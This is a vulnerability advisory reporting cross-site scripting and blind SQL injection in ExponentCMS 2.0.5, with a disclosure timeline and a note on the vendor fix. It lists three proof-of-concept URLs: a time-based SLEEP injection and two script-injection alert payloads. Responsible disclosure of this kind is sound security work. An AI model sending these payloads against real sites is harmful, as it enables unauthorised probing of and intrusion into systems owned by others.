XSS and Blind SQL Injection in ExponentCMS

Information

Advisory by Netsparker (now Invicti)
Name: XSS and Blind SQL Injection Vulnerabilities in ExponentCMS
Software: ExponentCMS 2.0.5 and possibly below.
Vendor Homepage: http://www.exponentcms.org
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Onur Yılmaz
Advisory Reference: NS-12-006

Description

Exponent is a website content management system (or CMS) that allows site owners to easily create and manage dynamic websites without necessarily directly coding web pages, or managing site navigation.

Details

Exponent CMS is affected by XSS and SQL Injection vulnerabilities in version 2.0.5.
Example PoC urls are as follows:

http://example.com/index.php?section=(SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)
http://example.com/index.php?action=showall_by_tags&tag=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E&controller=news&src=@random4e5433b85bb1f
http://example.com/index.php?controller=expTag&action=show&title=changes&src=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(1337)%3C/script%3E

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:

Solution

The vendor fixed this vulnerability in the new version. Please see the references.

Advisory Timeline

12/03/2012 – First contact: Sent the vulnerability details
20/03/2012 – Vulnerability Fixed in the latest version
23/04/2012 – Vulnerability Released

Credits

It has been discovered on testing of Invicti Web Application Security Scanner.

References

  1. Vendor URL / Patch: http://exponentcms.org/news/-happy-hyperbole-v2-0-6-is-in-full-bloom
  2. MSL Advisory Link: /web-applications-advisories/xss-and-blind-sql-injection-vulnerabilities-in-exponentcms/
  3. Invicti Advisories: /web-applications-advisories/

About Invicti

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